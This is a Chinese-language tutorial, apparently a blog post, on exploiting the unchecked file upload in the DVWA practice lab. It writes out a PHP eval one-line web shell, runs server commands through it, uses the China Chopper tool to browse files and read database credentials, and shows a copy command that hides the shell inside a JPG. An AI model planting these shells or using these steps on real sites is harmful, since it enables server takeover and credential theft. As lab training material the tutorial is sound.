很多的網站提供了文件上傳功能,雖然提供了方便的服務,但稍有疏忽,就可能釀成大禍。
這裏的疏忽是指,不對用戶上傳的內容進行檢查。
仍舊以DVWA爲例:
網站的本意是接受用戶的圖片(image),但後臺代碼卻並沒有對文件進行檢測:
網頁源碼(部分截圖):
php處理源碼:
文本也貼出來:
File Upload Source
vulnerabilities/upload/source/low.php
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
// No
echo '<pre>Your image was not uploaded.</pre>';
}
else {
// Yes!
echo "<pre>{$target_path} succesfully uploaded!</pre>";
}
}
?>
我們可以看到,target_path只是獲得了文件應該存放的路徑。之後的步驟,並未對文件進行任何的檢測處理,而直接進行move_uploaded_file(),將文件上傳。
換句話說,你的文件不是圖片都莫得問題。
試一下,我們上傳個php一句話。許多小夥伴可能聽說過“一句話木馬”這個名詞,也見過一句話木馬怎麼寫,但是就不知道爲什麼起作用。別急,我們簡單一聊就通了。沒聽說過的小夥伴也不用擔心,注重聽原理。
新建個txt,編輯:
<?php
@eval($_REQUEST["shell"]);
?>
保存後修改擴展名爲.php。(我這裏起名爲shell)
進行上傳:
然後我們會發現successfully upload。上傳成功!竟然還給出了路徑。路徑中的“..”指上一目錄。
shell.php被上傳到了根目錄下hackable/uploads/shell.php。
我們直接通過修改url對其進行訪問:
你會發現網頁什麼都沒有顯示,但是並沒有報錯。這說明文件確實存在,只是無顯示內容。
一句話木馬如何使用?
<?php
@eval($_REQUEST['shell']);
?>
重點在@eval($_REQUEST['shell'])的理解。
首先是一個@符號,其實這個東西對我們來說可有可無,這個符號的作用是抵制錯誤提示。
爲什麼要抵制錯誤提示呢?這裏先要了解eval()函數的功能。eval將接收一個字符串參數,並將這個字符串作爲命令語句執行。
如:
<?php
echo "hello";
eval('echo "hello"');
?>
這兩句的功能是相同的,因爲eval接收的是個字符串,那這個字符串就有可能不是正確的命令。這樣一來直接執行就會報錯,爲了不顯示報錯信息,前面加上了@符號。
@一般是創建網站的人才會使用,旨在不讓用戶從報錯信息中獲得服務器的相關信息。而我們對一句話進行利用時,有時還是需要報錯信息來告訴我們,哪裏輸錯了。
最後看eval中的參數:$_REQUEST['shell'],request是請求,最常用的請求方式有兩種GET和POST(不瞭解的,前面很多文章裏都有談到,STW也可以。【我就不加F了】)。而$_REQUEST就是從請求參數中得到“shell”這個參數的值(當然這個參數名你可以隨便起,反正是你來利用。)。
如果是$_GET["shell"],就是從get請求的參數中找shell參數。而$_POST["shell"],則是從post請求中尋找shell參數。$_REQUEST包含get和post,兩者皆可。
到這裏,一句話的功能應該就已經清晰了,即從get或post請求參數中,將shell參數的值,作爲命令語句執行。
如何利用呢?
爲了方便,我們就不抓包(截獲報文)了。直接通過get方式向文件發送參數:
修改url,其後添加?shell=xxxxx,來傳遞shell參數。其值爲phpinfo()。
phpinfo()函數會顯示服務器的詳細信息。然而頁面報錯了,syntax error(語法錯誤)。我們發現phpinfo()後面忘記了分號。這就顯示了報錯的好處,如果一句話中eval前有@符號,這時的頁面會是一片空白,讓你一頭霧水。
添加分號後正確執行了phpinfo函數,頁面上顯示了諸多服務器信息,操作系統信息,項目路徑等等。
這是一個簡單的使用實例,還有沒有其他的利用呢?
修改shell值爲echo(__DIR__);,echo大家都清楚,就是print。而__DIR__指當前文件目錄。通過它,我們知道了shell.php被上傳到了什麼位置。在uploads目錄之下。
那看看uploads目錄下面都有什麼吧。
修改shell=print_r(scandir(__DIR__));,scandir函數掃描指定路徑下的文件,返回一個數組。echo只能簡單輸出字符串,對於複雜結構顯得力不從心,所以這裏利用了print_r函數。
通過結果我們知道,在uploads目錄下,除了shell.php,還有一張dvwa_email.png的圖片。
我們實際打開項目:
確實如此。
我們還可以讀取文件內容,修改shell值shell=echo(file_get_contents("./shell.php"));:
file_get_contents函數獲得指定文件的內容:
因爲文件內容是php代碼段,不是可顯示內容,所以頁面空白。但是,這時你右鍵查看源碼或者快捷鍵ctrl + u:
你就能看到shell.php的內容了。
致此,一句話的利用原理就明白了。來了個問題,一句話利用不就是傳遞一個參數值,並讓服務器執行嗎。有沒有工具能替我做這些機械性的工作呢。例如我想要得到這個項目的目錄結果,我需要一點點的掃描每個子目錄,手動做起來太麻煩了。
這就是要說到的“中國菜刀”的功能。可能很多小朋友聽過這個工具:
初始界面:
右鍵添加:
地址當然就是我們上傳的php文件的url了,後面那個框裏是參數名,我們設置的是shell。菜刀就會幫你向那個地址發送shell參數,以解放你的雙手。
點擊添加後:
雙擊添加的鏈接:
是不是太恐怖了,這個網站的項目目錄盡顯眼前。
如果權限允許,你甚至可以隨意下載它的東西:
雙擊文件查看內容:
完了,現在數據庫的用戶名密碼,我也知道了:
此話題致此結束吧,這就是一句話的利用。
返回我們最開始的問題,這一切的一切,都是因爲,服務器未對我們上傳的文件進行檢查。
如果服務器對上傳文件進行了限制,比如,只能上傳jpg文件,那我們還有方法上傳一句話的腳本嗎?
有!有種方式叫圖片隱藏,更多的可能稱爲“圖片馬”。即將php腳本嵌入到圖片的末尾。
這裏有之前寫過的用python實現的方法,其中有原理解釋,感興趣的可以看下:
https://blog.csdn.net/qq_41500251/article/details/91645290
簡單點,我們這樣搞:
準備好一張圖片和我們剛剛寫的php腳本。打開cmd:
copy 1.jpg/b + shell.php/a 2.jpg
複製文件,圖片後面添加腳本,注意打開方式,圖片用二進制方式打開/b,php用文本(或者說ascii)方式打開/a。
命令執行成功後,我們會得到一個合併了的2.jpg圖片。現在我們要做的就是讓網頁用文本的方式顯示2.jpg。前面1.jpg圖片的部分會是一堆十六進制數字,無所謂不重要。圖片後面的東西,就是我們的php腳本。只要網頁能輸出,剩下的就和我們直接上傳php無二樣了。
你如果有能用十六進制打開文件的工具,可以查看下2.jpg的末尾部分,你會發出“哦~”的一聲。
至於怎麼讓網頁顯示出來,這設計到另一個問題——文件包含,我們另外談。
結束吧,至少標題列出來的全說了一遍。